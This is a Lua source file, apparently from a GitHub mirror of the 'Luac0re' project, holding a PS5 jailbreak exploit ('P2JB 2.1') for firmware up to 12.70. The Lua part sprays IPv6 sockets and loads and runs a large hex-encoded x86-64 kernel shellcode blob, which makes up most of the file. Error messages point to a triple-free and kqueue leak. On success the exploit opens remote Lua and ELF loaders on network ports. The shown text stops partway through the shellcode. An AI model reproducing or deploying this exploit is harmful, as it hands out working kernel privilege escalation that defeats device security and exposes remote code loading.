mirror of
https://github.com/Gezine/Luac0re.git
synced 2026-10-18 23:07:31 -05:00
106 lines
50 KiB
Lua
106 lines
50 KiB
Lua
local shellcode
|
|
|
|
p2jb_version_string = "P2JB 2.1"
|
|
|
|
local ERR_TRIPLE_FREE = 2
|
|
local ERR_LEAK_KQUEUE = 3
|
|
|
|
local err_strings = {
|
|
[ERR_TRIPLE_FREE] = "Triple free failed - reboot and retry",
|
|
[ERR_LEAK_KQUEUE] = "Kqueue leak failed - reboot and retry"
|
|
}
|
|
|
|
function p2jb()
|
|
send_notification(p2jb_version_string)
|
|
|
|
if not TITLE_ID then
|
|
error("Update Luac0re to at least 2.3 version")
|
|
end
|
|
|
|
if PLATFORM ~= "PS5" then
|
|
send_notification("Unsupported platform " .. PLATFORM)
|
|
return
|
|
end
|
|
|
|
if tonumber(FW_VERSION) > 12.70 then
|
|
send_notification("Unsupported fw " .. FW_VERSION)
|
|
return
|
|
end
|
|
|
|
if is_jailbroken() then
|
|
send_notification("Already Jailbroken")
|
|
return
|
|
end
|
|
|
|
local failcheck_path = "/" .. get_nidpath() .. "/common_temp/luac0re.fail"
|
|
if file_exists(failcheck_path) then
|
|
send_notification("Restart your PS5 to run exploit again");
|
|
return
|
|
end
|
|
|
|
file_write(failcheck_path, "")
|
|
|
|
if not sceKernelDlsym then
|
|
init_dlsym()
|
|
end
|
|
|
|
write_shellcode(SHELLCODE_BASE, shellcode)
|
|
|
|
local func_shellcode = func_wrap(SHELLCODE_BASE)
|
|
|
|
local arg1 = malloc(16)
|
|
write64(arg1, EBOOT_BASE)
|
|
write64(arg1 + 8, SCE_KERNEL_DLSYM)
|
|
|
|
local logsock_fd = -1
|
|
|
|
if log_sock and log_sock >= 0 then
|
|
logsock_fd = log_sock
|
|
end
|
|
|
|
if not LOG_SERVER then
|
|
LOG_SERVER = "127.0.0.2"
|
|
end
|
|
|
|
local sock_count = 80
|
|
local sock_array = malloc(sock_count * 4)
|
|
for i = 0, sock_count - 1 do
|
|
local fd = create_socket(AF_INET6, SOCK_STREAM, 0)
|
|
if fd < 0 then
|
|
error(string.format("create_socket failed at index %d", i))
|
|
end
|
|
|
|
local offset = i * 4
|
|
write32(sock_array + offset, fd)
|
|
end
|
|
|
|
show_dialog("Stage Patience\nPlease wait for some time (~1 hour)")
|
|
|
|
local ret = func_shellcode(arg1, logsock_fd, LOG_SERVER, TITLE_ID, sock_array)
|
|
if ret == 0 then
|
|
send_notification("Jailbreak success")
|
|
local current_ip = get_current_ip()
|
|
|
|
if current_ip then
|
|
local lua_network_str = string.format("%s:%d", current_ip, 9026)
|
|
local elf_network_str = string.format("%s:%d", current_ip, 9021)
|
|
show_dialog(string.format("%s\n%s\nPlatform: %s\nFW: %s\nRemote Lua Loader\nListening: %s\nELF Loader\nListening: %s",
|
|
version_string, p2jb_version_string, PLATFORM, FW_VERSION, lua_network_str, elf_network_str))
|
|
else
|
|
show_dialog("Jailbreak success but network not found")
|
|
end
|
|
else
|
|
local msg = err_strings[ret]
|
|
if msg then
|
|
show_dialog(msg)
|
|
else
|
|
show_dialog("Unknown error: " .. tostring(ret))
|
|
end
|
|
end
|
|
|
|
end
|
|
|
|
shellcode = "41574989F931C04989F241564889D64531DB31D24155415455534881EC18090000488D9C249004000048890C24B9900000004889DFF348AB498B0144899424C0050000C78424C405000010021F90488DB8A91A03004889BC2490040000EB0C908D14928D5450D04883C6010FBE06448D50D04180FA0976E83C2E740484C075E70FB6D2D3E24109D384C0740783C10831D2EBD4488D8424D4050000498D500444899C24C80500004829D04883F8080F86512200004889D8498D90400100004C29C00F1F8000000000F3410F6F08420F118C00440100004983C0104939D075E9498B69086A004531C9488D0DCC5400006A00BA012000004889EE4C8D842458050000E83A260000488D35B55400004889DFE88B2600006A004531C94889EE6A00488BBC24B0040000488D0DAB540000BA012000004C8D8424B8040000E8002600004883C4204531C94889EE6A00488D0D8D540000BA012000006A00488BBC24A00400004C8D8424B0040000E8D12500006A004531C94889EE6A00488BBC24B0040000488D0D63540000BA012000004C8D8424C8040000E8A62500004883C4204531C94889EE6A00488D0D42540000BA012000006A00488BBC24A00400004C8D8424C0040000E8772500006A004531C94889EE6A00488BBC24B0040000488D0D13540000BA012000004C8D8424D8040000E84C2500004883C4204531C94889EE6A00488D0DF5530000BA012000006A00488BBC24A00400004C8D8424D0040000E81D2500006A004531C94889EE6A00488BBC24B0040000488D0DC7530000BA012000004C8D8424E8040000E8F22400004883C4204531C94889EE6A00488D0DA9530000BA012000006A00488BBC24A00400004C8D8424E0040000E8C32400006A004531C94889EE6A00488BBC24B0040000488D0D7F530000BA012000004C8D8424F8040000E8982400004883C4204531C94889EE6A00488D0D65530000BA012000006A00488BBC24A00400004C8D8424F0040000E8692400006A004531C94889EE6A00488BBC24B0040000488D0D8A530000BA012000004C8D842408050000E83E2400004883C4204889EE4531C96A00488D0D13530000BA012000006A00488BBC24A00400004C8D842400050000E80F2400006A004531C94889EE6A00488BBC24B0040000488D0DE4520000BA012000004C8D842418050000E8E42300004883C4204531C94889EE6A00488D0DC5520000BA012000006A00488BBC24A00400004C8D842410050000E8B52300006A004531C94889EE6A00488BBC24B0040000488D0D97520000BA012000004C8D842428050000E88A2300004883C4204531C94889EE6A00488D0D78520000BA012000006A00488BBC24A00400004C8D842420050000E85B2300006A004531C94889EE6A00488BBC24B0040000488D0D48520000BA012000004C8D842438050000E8302300004883C4204531C94889EE6A00488D0D29520000BA012000006A00488BBC24A00400004C8D842430050000E8012300006A004531C94889EE6A00488BBC24B0040000488D0D00520000BA012000004C8D842448050000E8D62200004883C4204531C94889EE6A00488D0DE1510000BA012000006A00488BBC24A00400004C8D842440050000E8A72200006A004531C94889EE6A00488BBC24B0040000488D0DBF510000BA012000004C8D842458050000E87C2200004883C4204531C94889EE6A00488D0DA8510000BA012000006A00488BBC24A00400004C8D842450050000E84D2200006A004531C94889EE6A00488BBC24B0040000488D0D82510000BA012000004C8D842470050000E8222200004883C4204531C94889EE6A00488D0D6C510000BA012000006A00488BBC24A00400004C8D842468050000E8F32100006A004889EE4531C96A00488BBC24B0040000488D0D44510000BA012000004C8D842480050000E8C82100004883C4204531C94889EE6A00488D0D32510000BA012000006A00488BBC24A00400004C8D842478050000E8992100006A004531C94889EE6A00488BBC24B0040000488D0D10510000BA012000004C8D842490050000E86E2100004883C4204531C94889EE6A00488D0D00510000BA012000006A00488BBC24A00400004C8D842488050000E83F2100006A004531C94889EE6A00488BBC24B0040000488D0DDD500000BA012000004C8D8424A0050000E8142100004883C4204531C94889EE6A00488D0DCA500000BA012000006A00488BBC24A00400004C8D842498050000E8E52000006A004531C94889EE6A00488BBC24B0040000488D0DAC500000BA020000004C8D8424B0050000E8BA2000004883C4204531C94889EE6A00488D0D8E500000BA020000006A00488BBC24A00400004C8D8424A8050000E88B2000006A004531C94889EE6A00488BBC24B0040000488D0D9A560000BA012000004C8D8424C0050000E8602000004883C4204531C94889EE6A00488D0D39500000BA012000006A00488BBC24A00400004C8D8424B8050000E8312000006A004531C94889EE6A00488BBC24B0040000488D0D09500000BA012000004C8D8424D0050000E8062000004883C4204531C94889EE6A00488D0DE94F0000BA012000006A00488BBC24A00400004C8D8424C8050000E8D71F00006A00488D155C4C000031C96A00488BB424D00500004531C94531C0488BBC24B0040000E8AF1F00004883C420488D35A04F00004889DF4889C589C2E8E734000085ED78286A004863D54531C94531C06A00488BB424C004000031C9488BBC24A0040000E86F1F0000415E415F488D35744F00004889DFE8BC1F00004889DFE854250000488D35794F00004889DFE8A51F00004889DFE8FD240000488D357A4F00004889DFE88E1F00004531C94531C031C9488D9424240700006A006A00488BB42420050000488BBC24A0040000E8051F0000488D35544F00004889DFE8561F00004531C94531C031C9488D94243C0700006A006A00488BB42430050000488BBC24B0040000E8CD1E00004883C420488D35334F00004889DFE81A1F000048639424240700006A004531C96A00488BB4242805000041B804000000B904000000488BBC24A0040000E88B1E000048639424380700006A004531C96A00488BB4243805000041B804000000B904000000488BBC24B0040000E85C1E00004883C4204531C9486394242C0700006A0041B804000000B9040000006A00488BB42428050000488BBC24A0040000E8291E000048639424400700006A004531C96A00488BB4243805000041B804000000B904000000488BBC24B0040000E8FA1D00004883C420488D357B4E00004889DFE8471E00006A004531C94531C06A00488BB424A0050000B968010000BA01000000488BBC24A0040000E8BE1D00004531C94531C0B9680100004889842418080000BA010000006A006A00488BB424B0050000488BBC24B0040000E88D1D00004531C94531C0B93000000048898424300800004883C420BA010000006A006A00488BB424A0050000488BBC24A0040000E8581D00004531C94531C0B9100000004889842428080000BA170000006A006A00488BB424B0050000488BBC24B0040000E8271D00004531C94531C0B91000000048898424400800004883C420BA140000006A006A00488BB424A0050000488BBC24A0040000E8F21C00004531C94531C0B9100000004889842438080000BA140000006A006A00488BB424B0050000488BBC24B0040000E8C11C00004531C94531C0B90010000048898424500800004883C420BA010000006A006A00488BB424A0050000488BBC24A0040000E88C1C00004889842448080000C60041B801000000415C415D0F1F840000000000488B942438080000C60402414883C001483D0010000075E86A004531C94531C0B9004000006A00488BB424A0050000BA01000000488BBC24A0040000E82F1C0000488D35D04C00004889DF4889842450080000E8781C00004889DFE830350000415B5D85C00F84A2170000488D356E5200004889DF4C8DBC244C08000031EDE84C1C0000488D359D4C00004889DF4C8D35C34C0000E8361C00004863842484080000488D35675200004889DF8B9484D4050000E80831000048638424840800004889DF8BB484D4050000E831240000488D35654C00004889DFE8F21B0000EB7A488B8424100800004881780800004301750E4883B8A8000000000F85940100006A004963D54531C94531C06A00488BB424C004000031C983C501488BBC24A0040000E8491B00006A004531C94531C06A00488BB4244005000031C931D2488BBC24B0040000E8261B00004883C42081FD102700000F842E0100006A004531C94531C031C96A00488BB424D804000031D2488BBC24A0040000E8F31A000041B833000000B929000000C784245C080000000100004989C54189C4486384249008000048639484E40500006A0041574C8B8C2430080000488BB424F8040000488BBC24B0040000E8A61A00004883C42085ED0F850AFFFFFF4489EA4C89F64889DFE8DC2F0000488B842410080000488D35784B00004889DF488B5008E8312D0000488B842410080000488D35764B00004889DF488B90A8000000E8132D0000488B84241008000048817808000043010F84BFFEFFFF6A004963D54531C94531C06A00488BB424C004000031C9BD01000000488BBC24A0040000E8141A00006A004531C94531C06A00488BB4244005000031C931D2488BBC24B0040000E8F11900004883C420E9D2FEFFFF488B8424100800004183CCFF488B5060488D35004B00004889DF4889942450080000488B90A80000004889942458080000E8722C00004883BC2458080000000F84101500006A004531C94963D44531C06A00488BB424C004000031C9488BBC24A0040000E87F1900008B9424980800008BB424900800004889DFE8791B00004159415A85C00F88131800008984248408000048984889DF488D35325000008B9484D40500004C8DAC2490020000E8862E00004889DF488D358B4A0000E887190000488BB424580800004889DFE8D72100004889DF488D358A4A0000488B104883C2084889942470080000E8B92B00004863B424240700004889DF486BF6304803B42470080000E89D2100004889DF488D35654A0000488B284889EAE8882B00004863B4242C0700004889DF486BF6304803B42470080000E86C2100004889DF488D35504A00004C8B204C89E2E8572B00004889EE4889DFE84C2100004889DF488D354C4A0000488B284889EAE8372B00004C89E64889DFE82C2100004889DF488D35484A00004C8B204C89E2E8172B0000660F6F05EF4F00004C896424504D89E9486394241807000041B801100000B9FFFF0000C7842490020000600000000F294424406A006A04488BB424E0040000488BBC24A0040000E80B180000488B8424400800004889DF4C8DA424E00700004C8DB424E807000048C740081800000048638424940800008BB484E4050000E864200000488D44245048894424185F4158488DBC24C007000048896C241848897C24104C896C24204989C548895C24284889FB0F1F4400006A004531C94531C031C96A00488BB424F80700004C89E2488BBC24F0070000E87C1700004531C94531C031C948C78424D4070000000000004C89F2C78424DC070000010000006A006A00488BB42420080000488BBC2400080000E8411700004883C4208B8424C0070000398424C40700007D3C0F1F4400006A004C89F24531C94531C06A00488BB424080800004C89E1488BBC24F0070000E803170000585A8B8424C0070000398424C40700007CC96A004531C94531C031C96A00488BB424000800004C89E2488BBC24F0070000E8CD1600006A004531C94531C06A00488BB4244005000031C931D2488BBC24B0040000E8AA160000B92900000041B833000000C784246C0800001000000048638424A00800004883C42048639484D40500006A0041574C8B8C2420080000488BB424E8040000488BBC24A0040000E85F160000488B842420080000595E837808147447BD0400000048639424180700006A004531C941B8180000006A00488BB424080500004C89E9488BBC24A0040000E81D160000415B5883ED0175CB4889DFE88D170000E968FEFFFF488B6C2418488B104531D2488B842420080000488B5C24284C8B6C242048C74020010000004889DF48896830488DAC247807000048891048C740081400000048C74010FFFFFFFF48C74018180000004C89502848C740381800000048638424880800008BB484D4050000E8291E0000EB770F1F800000000048639424200700006A004531C941B8040000006A00488B8C2450080000488BB42408050000488BBC24A0040000E85E1500004889EFE8D6160000486394242C0700006A004531C96A00488B8C246008000041B804000000488BB42408050000488BBC24B0040000E8241500004883C4204889EFE8581C00006A004531C94531C06A00488BB4243005000031C931D2488BBC24A0040000E8F514000041B833000000B9290000004863842490080000C784245C0800004000000048639484E40500006A0041574C8B8C2430080000488BB424F8040000488BBC24B0040000E8AE140000488B8424300800004883C420837820010F8508FFFFFF4C8B74240841BC0400000048639424180700006A004531C941B8180000006A00488BB424080500004C89F1488BBC24A0040000E860140000415841594183EC0175C98BB4248008000083CAFF4889DFE854160000488B7C241089842484080000E8B315000048639424200700006A004531C96A00488B8C245008000041B804000000488BB42408050000488BBC24A0040000E8011400008B9424940800008BB424900800004889DFE8FB1500004889EF89842498080000E85C150000486394242C0700006A004531C96A00488B8C246008000041B804000000488BB42408050000488BBC24B0040000E8AA1300004883C420488D35A74A00004889DFE8F713000031C94531C94531C0898C240C09000031C96A006A00488B942408090000488BB424A8050000488BBC24A0040000E865130000488D358E4A00004889DF488DAC249C080000E8AE1300004C8DA424EC0800005E5F0F1F40004863550085D2782A6A004531C94531C031C96A00488BB424C0040000488BBC24A0040000E817130000C74500FFFFFFFF585A4883C5044C39E575C5488D354E4A00004889DFE85613000031C94C89EA4889DF4863B4242407000048898C2490020000486BF6304803B42470080000E87D220000488BB424900200004889DFE87D2400004863B4242807000031FF4C89EA4889BC24900200004889DF486BF6304803B42470080000E844220000488BB424900200004889DFE8442400004531C04C89EA4889DF4863B4242C0700004C89842490020000486BF6304803B42470080000E80A220000488BB424900200004889DFE80A2400004531C94C89EA4889DF4863B424300700004C898C2490020000486BF6304803B42470080000E8D0210000488BB424900200004889DFE8D023000048638424800800004889DF8BB484D4050000E84922000048638424840800004889DF8BB484D4050000E83222000048638424880800004889DF8BB484D4050000E81B2200006A004531C94531C06A00488BB4242005000031C94C89EA488BBC24A0040000E8A71100006A004531C94531C06A00488BB424E004000031C931D2488BBC24B0040000E8841100004531C9B97C6604804531E4898424800000004883C4204531F64863942490020000488D44246048894424084989C06A006A00488BB42418050000488BBC24A0040000E83D1100004863B424A00200004531D24889DF488DAC24A00000004C899424A00000004889EA486BF6304803B42480080000E8BB2000004531DB4889EA4889DF488BB424A00000004C899C24A0000000E89D200000488BB424A00000004889EA4889DF4C89A424A000000049BC00000000FFFFFFFF4881C6D8000000E871200000488BB424A00000004889EA4889DF4C89B424A0000000E8562000004C8BB424A00000004C89B42470080000415F584C89F048F7D04C85E074360F1F840000000000498D76084889EA4889DF48C784249000000000000000E8152000004C8BB424900000004C89F048F7D04C85E075D248639424940200006A004531C94531C06A00488BB424C004000031C94531FF488BBC24A0040000E8261000004531C031C94531C948639424A00200006A006A00488BB424D0040000488BBC24B0040000E8FD0F00004C89B424880800004C89F24883C420488D35054200004889DFE89F220000488B942460080000488D35004200004889DFE8882200004531C94C89EA4889DF488B8424600800004C898C2490020000488D7040E8561F00004C8BA42490020000488D35D94100004889DF4C89E2E84C2200004531D2498D7424044C89EA4889DF4489942490020000E8912000008B942490020000488D35B74100004889DFE8AB2400004531DB498D7424584C89EA4889DF4C899C24900200004531E4E8ED1E0000488B942490020000488D35934100004889DFE8E62100004C8BB424600800004C89EA4889DF4C89A42490020000498D7640E8B71E0000B9040000004C89EA4889DF4C8BA424900200004489BC2490020000498D7424044D8DBC2482000000E8FA13000031C0498D7424084C89EAB9040000004889DF89842490020000E8DC13000031C0498D74240C4C89EAB9040000004889DF89842490020000E8BE130000498D7424104C89EA4889DFC784249002000001000000B904000000E89E13000031C0498D7424144C89EAB9040000004889DF89842490020000E88013000031C0498D7424184C89EAB9040000004889DF89842490020000E862130000498D7424584C89EA4889DF48B80700000000000048B9080000004889842490020000E83B130000498D7424604C89EA4889DFB90800000048C7842490020000FFFFFFFFE81A130000498D7424684C89EA4889DFB90800000048C7842490020000FFFFFFFFE8F9120000B9010000004C89EA4C89FE4889DFC684249002000000E8CE1F00000FB6942490020000488D352B4000004889DFE8F7220000B9010000004C89EA4C89FE4889DFC684249002000000E8AC120000B9010000004C89EA4889DF498DB42483000000C684249002000080E88C12000031C0498D76484C89EA4889DF4889842490020000E8031D000031D24C8BA42490020000488BB4246808000048899424900200004C89EAE9D700000090660F6F15F84400004531C9498D87BC0000004863942428070000C78424900000000000000041B8180000004C89E90F2994249002000048898424A00200006A006A00488BB42408050000488BBC24A0040000E8D90C000048639424340700006A004531C96A00488BB4240805000041B8180000004C89E9488BBC24B0040000E8AC0C00004883C4204531C94889E9486394242C0700006A0041B8040000006A00488BB424F8040000488BBC24A0040000E87B0C00005E5F448B8424900000004585C0742E48C7842490020000000000004C89EA4C89FE4889DFE8021C00004C8BBC24900200004D85FF0F8511FFFFFF4531FF4531C9498D77484C89EA4889DF4C898C24900200004531FFE8D11B00004531D24C89EA4889DF488BB424900200004C899424900200004883C608E8AF1B0000498D7424084C89EA4889DF488B842490020000B9080000004889442410E8FD100000488B4424104C89EA4889DF498D742410B9080000004889842490020000E8DB1000004531DB498D7424184C89EAB9080000004889DF4C899C24900200004531E4E8B8100000498DB6E80300004C89EA4889DF4C89A424900200004531F6E82B1B0000B9080000004C89EA4889DF4C8BA424900200004C89B42490020000498DB424F0000000E873100000B9080000004C89EA4889DF498DB424F800000048C7842490020000FFFFFFFFE84F1000004C89E64C89EA4889DF4C89BC2490020000E8C91A000031C04C89EA4889DF488BB4249002000048898424900200004883C640E8A81A000031C0B9080000004C89EA4C8BA424900200004889DF4889842490020000498D742408E8F10F0000B9080000004C89EA4889DF498D74241048C7842490020000FFFFFFFFE8D00F0000488B8424600800004C89EA4889DF488D704031C04889842490020000E83F1A000031C04C89EA4889DF4C8BA4249002000089842490020000498D742404E88E1B00008B942490020000488D35F23C00004889DFE8A81F000031C0498D7424584C89EA4889DF4889842490020000E8EE190000488B942490020000488D35D73C00004889DFE8E71C00004889DFE86F0E0000488B7C240831C0B90C000000488D35D03C0000F3AB4889DFE8620A00006A004531C94531C06A00488BB424A0050000B900100000BA01000000488BBC24A0040000E8D9090000488BB42470080000B9001000004889DF4889C24989C4E8CE1B000031C048C7842488000000FFFFFFFF5A48BAFFFFFFFFFFFFFF7F59EB0E66904883C001483DF90F0000740F4A39142075EE83F80F0F8F3702000048C7842480000000FFFFFFFF4C89E031D2EB11669083C2014883C00181FAFB0F000074308038CE75EC807801FA75E6807802EF75E0807803BE75DA807804CC75D4807805BB75CE8D4208489848898424800000006A004531C04531C931C96A00488BB424A80500004C89E2488BBC24A0040000E80D0900004C8BB42488000000488D35D03B00004889DF4C89F2E8B31B00004C8BA424900000004889DF488D35C43B00004C89E2E8991B00004983C6015F41580F848D0100004983FCFF0F848301000031F64C89EA4889DF4889B42490020000488BB42468080000E8551800004C8BB42490020000488D35A53B00004889DF4C89F2E84B1B00004D85F60F84720800004C89F04531FF48C1E830483DFFFF00000F85E90000004B8D3434B9200000004C89EA4889DFE8681A000031C0EB1E0F1F40008D4AE080F95E0F8702040000885405004883C0014883F81F740A410FB654050084D275DC4898488D0D763600004889EEC6840490000000000FB694249000000084D27527EB34662E0F1F84000000000038C275260FB656014883C601488D410184D20F84F00000004889C10FB60184C075DE38C20F84EA0000004C89F64C89EA4889DF4183C70148C784249002000000000000E8681700004169C7CDCCCCCC4C8BB42490020000C1C8023DCCCCCC0C0F86D60600004D85F674134C89F048C1E830483DFFFF00000F8417FFFFFF4489FA4889DF488D35E53A0000E8C11C00004889DF4C89F2488D35EF3A0000E81F1A0000488D35F03A00004889DFE8B0070000EB1E83E81048984889442478E9BAFDFFFF488D352A3A00004889DFE8900700004C8B6424704D85E40F8513030000488D35013C00004889DFE87307000031C04881C4180900005B5D415C415D415E415FC30F1F80000000000FB6410138C20F8516FFFFFF4C89F2488D35023A00004889DFE89A190000488D35053A00004889DF4C89B42488000000E823070000488B34244889E94889DF488D15F9390000E88D1D000085C00F84F7050000488D35693A00004889DFE8F6060000488D5424684889EE4889DFE8B609000048894424604989C44885C00F8448060000488B542468488D35623A00004889DF488D2DC1340000E81A1900006A0031C94889EA6A00488BB424C00500004531C94531C0488BBC24A0040000E8360600005A5985C00F88920500006A004863D031C94531C96A00488BB424C00400004531C0488BBC24A0040000E808060000415EB92F000000415F4C89EA4889E84883C001880A4883C2010FB60884C975EFC60200488D355E3D00004889DFE836060000488D35073A00004889DFE8270600004531DB488D5424384C89EE4889DF4C895C2438E8DF0800004889C54885C00F848A0500004C8B742438488D35F73900004889DF4C89F24D8DBEFF3F0000E8451800004981E700C0FFFF0F8440050000C7442434FFFFFFFF41B8070000004C89F931D26A006A00488BB424B0050000488BBC24A00400004C8D4C2444E84705000048634424445E5F85C00F88020400006A004C89F931D241B90100000050488BB424B805000041B807000000488BBC24A0040000E80F0500005A594989C7488D40FF4883F8FD0F87C603000031C0EB0D0FB6540500418814074883C0014939C675EE4C89FA488D354B3900004889DFE8941700004C897C24704531C94531C06A0031C94889EA6A00488BB424A8050000488BBC24A0040000E8AB040000488D352A3900004889DFE8FC040000415E415FE963FDFFFF488D35CF3500004889DFE8E4040000488D357F3600004889DFE8D50400004889DFE8BD080000B803000000E952FDFFFF488D35A43A00004889DFE8B40400004889DFE89C080000B802000000E931FDFFFF31C0E90FFCFFFF4889DA498D88400100004C29C2660F1F440000418B0042898402440100004983C0044C39C175ECE9AEDDFFFF488D35A13800004889DFE8600400004C8B7C247831C94C89EA488BB42460080000488BAC24880000004889DF48898C24900200004C01FEE88313000031F64C89EA4889DF4C8BB424900200004889B424900200004A8D743D00E86113000031FF488BAC24900200004C89EA89BC24900200004C89F64889DF4D8D7E08E8AE1400004531C04C89EA4C89FE448B9424900200004889DF4C898424900200004489542418E8181300004531C94889EE4C89EA488B8424900200004889DF44898C24900200004889442408E862140000B9040000004C89EA4C89F64889DFE84F0800004531D2488D75084C89EA4889DF4C89942490020000E8C5120000B9080000004C89EA4C89FE4889DFE822080000488D359E3700004889DFE8530300004C8B5C24684531C94531C0488B442460B928000000BA010000004C895C2410488904246A006A00488BB424A0050000488BBC24A0040000E8B70200004C8B5C24204D89E031C9F30F7E8424780800004889C54C89EA8B8424340700004989E98945008B8424380700000F164424108945048B84243C0700008945088B8424400700004C895D204531DB0F11451089450C4C899C24A00200006A006A00488BB42470050000488BBC24B0040000E842020000488B9424B00200004883C4204889DF488D35E4360000E8E71400006A004531C94531C06A00488B9424A002000031C9488BB42468050000488BBC24A0040000E8FE0100006A004531C94531C06A00488BB424B80500004889EA31C9488BBC24B0040000E8DA010000448B5424384C89EA4C89F6B9040000004889DF44899424B00200004883C420E8D6060000488B4424084C89EA4C89FEB9080000004889DF4889842490020000E8B6060000488D35543600004889DFE8E70100006A004531C94531C06A00488B54241031C9488BB424A8050000488BBC24A0040000E861010000488D35353600004889DFE8B20100005D415CE928FAFFFF488D350B3800004889DFE89B010000E9B2FCFFFF31C04531C94531C031C948894424704889EA6A006A00488BB424A8050000488BBC24A0040000E80B010000488D35F93500004889DFE85C0100006A004C89E24531C96A00488BB424B80500004531C031C9488BBC24B0040000E8D800000031D248899424800000004883C420E995F9FFFF4489FA488D35163400004889DFE803160000E913F9FFFF488D355B3400004889DFE8FF000000E96AF9FFFF488B34244C89E9488D15973400004889DFE864170000488D359C34000085C00F859FFAFFFF4889DFE8CD0000006A004531C94531C06A00488BB424A805000031C94C89E2488BBC24A0040000E8490000004531C04C894424704159415AE908F9FFFF41BF00400000E9B5FAFFFF488D35063400004889DFE87E000000E9E9F8FFFF488D355C340000EB9B4531FFE985F8FFFF0F1F8400000000005341544889F34989FC4889D74889CE4C89C24C89C94C8B4424184C8B4C242031C041FFD4415C5BC30F0B660F1F4400005341544889F34989FC4889D04889CF4C89C64C89CA488B4C24184C8B44242041FFD4415C5BC30F0B0F1F8400000000004863973001000085D27E434889F1488BB7B80000004885F674344531C050803900488D87340100007411660F1F4400004983C00142803C010075F56A104531C950488B3FE857FFFFFF4883C418C3C39041554531C94531C031C941544C8D6710554C89E2534889FB4C8D6B184883EC08488B7728488B7F206A006A00E81FFFFFFF41584159EB28660F1F840000000000488B7338488B7B206A004531C96A004531C04C89E14C89EAE8F3FEFFFF5E5F8B6B0C83FDFF74D98B4B0885C975D28B430483C0018943043B03742D488B7330488B7B206A004C89E26A004531C94531C031C9E8B9FEFFFF4883C41889E85B5D415C415DC30F1F4000488B7340488B7B206A00488D53186A004531C94531C031C9E88BFEFFFF588B6B0C5AEBAF0F1F400041544531C04531C931C955488D6F10534889FB488B77284889EA488B7F206A006A00E859FEFFFF5F8B0341583943087D2D4C8D63180F1F00488B7338488B7B206A004889E96A004531C94531C04C89E2E82BFEFFFF598B035E3943087CDAC7430CFFFFFFFF488B73304889EA31C9488B7B206A004531C94531C06A00E8FFFDFFFF585A5B5D415CC30F1F8400000000004157488D87BC0300004989FF41564C63F6415541BD8813000041544189D4554C89F54983C650534883EC18488944240831DB660F1F44000039DD74434139DC743E89D8498B3F498B774041B8330000004D8B8F780300000D00003713B92900000041894104418B87B80300004963949F440100006A0050E874FDFFFF5F41584883C3014883FB5075AF4B6354B704498B7748B92900000041C787BC03000008000000498B3F6A0041B833000000FF7424104D8B8F80030000E833FDFFFF498B8780030000595E8B400489C26631D281FA0000371374224183ED010F8550FFFFFF4883C418B8FFFFFFFF5B5D415C415D415E415FC30F1F40000FB7C039C574D74439E074D24883C4185B5D415C415D415E415FC366662E0F1F840000000000669041564531C04531C931C941554989D54889F2415455534889FB488B3F6A00488BB3200100006A00E8A4FCFFFF5F415885C00F88DC000000488BB328010000488B3B6A004863E86A004531C941B80200000031C94889EAE875FCFFFF488B3B4531C94531C0488BB3280100006A004989C431C96A004889EAE854FCFFFF4883C4204D85E47E71488BB300010000488B3B6A004531C96A004531C04C89E1BA01000000E82AFCFFFF488B7358488B3B6A006A004531C94D89E04889C14889EA4989C6E80BFCFFFF4883C420488B7320488B3B6A004889EA4531C94531C06A0031C9E8ECFBFFFF4D896500585A5B4C89F05D415C415D415EC3488B73206A0031C94531C96A00488B3B4531C04889EAE8BFFBFFFF595E4531F6EBD20F1F84000000000041544C8DA784020000554889FD53488D9F440100000F1F00486313488B75204531C94531C0488B7D006A0031C94883C3046A00E878FBFFFF585A4C39E375D948639588020000488B75204531C931C9488B7D006A004531C06A00E851FBFFFF488B7520488B7D004531C9486395840200006A004531C031C96A00E831FBFFFF4883C420488B75204531C948639590020000488B7D006A004531C06A0031C9E80DFBFFFF488B7520488B7D004531C94863958C0200006A004531C031C96A00E8EDFAFFFF4883C4205B5D415CC30F1F400041554531C941B81800000041544989CC554889D5534889FB4883EC28660F6F055C320000486397980200004989E54889742410488B77680F290424488B3F4C89E96A006A00E896FAFFFF488B7358488B3B4C89E9486393940200006A004531C941B8180000006A00E873FAFFFF4C89EC488B7368488B3B486393A00200006A004D89E04889E96A004531C9E850FAFFFF4883C4385B5D415C415DC30F1F4400004883EC18488BB7A8000000488B3F31C9C744240C020000014531C9BA010000006A006A004C8D44241CE812FAFFFF4883C428C366662E0F1F84000000000066904883EC18660FEFC0B801000000488BB7A00000000F290424488B3F41B91000000049C7C0FFFFFFFF66890424B901000000BA030000006A00488D44240850E8BDF9FFFF4883C428C30F1F8400000000004155415455534883EC08488B2F488B5F084889EF4C8D63104C8D6B18E88FFFFFFF4889EFE847FFFFFFEB7B0F1F440000488B8D9803000048639588020000488B7570488B7D006A004531C941B8140000006A00E858F9FFFF5F488B73284531C94158488B7B206A004531C06A0031C94C89E2E839F9FFFF8B430883C0018943084159415A3B037448488B7330488B7B206A004C89E26A004531C94531C031C9E80CF9FFFF585A4889DFE8B2F9FFFF85C00F847AFFFFFF488B8DA003000048639584020000488B7560E975FFFFFF0F1F00488B7340488B7B206A0031C96A004531C94531C04C89EAE8C4F8FFFF595EEB9841544531C94531C031C955488D6F10534889FB488B77284889EA488B7F206A004C8D63186A00E895F8FFFF488B7340488B7B204531C948C74304000000004531C031C94C89E2C7430C000000006A006A00E86AF8FFFF8B034883C4203943047D2D0F1F8000000000488B7338488B7B206A004889E96A004531C94531C04C89E2E83BF8FFFF598B035E3943047CDA488B7330488B7B206A004889EA6A004531C94531C031C9E816F8FFFF585A5B5D415CC366662E0F1F8400000000000F1F4000554889F54531C94531C0534889FB31C9488D53104883EC08660F6F05902F00000F1107488B3E48897B20F30F6F96E0000000F30F6F8EF0000000F30F6F86D00000000F114B38660FC6C2010F114328488BB6D00000006A006A00E8A1F7FFFF488B7D00488D53184531C9488BB5E80000006A004531C031C96A00E881F7FFFF4883C4285B5DC3662E0F1F8400000000004883EC084863D6488B7740488B3F6A004531C941B833000000B9290000006A00E84BF7FFFF4883C418C3660F1F4400004157B9080000004531C94531C04156BA0400000041554989FD4154554889F5534883EC28488BB700010000488B3F6A006A00E809F7FFFF48894424104989C459488D58205E498B7D00BA010000004531C94531C0498BB5000100006A00B9080000004983C4086A00E8D3F6FFFF49894424F8585A4939DC75CC49639588020000498B754041B801100000C744241C20000000498B7D006A00B9FFFF00004D8DA5300300006A044D8DB5BC0300004C8D4C242CE889F6FFFF498B85B00300004531C941B808000000C60041498B85B0030000C6400141498B85B0030000C6400241498B85B0030000C6400341498B85B0030000C6400441498B85B0030000C6400541498B85B0030000C6400641498B85B0030000C6400741498B8DB0030000496395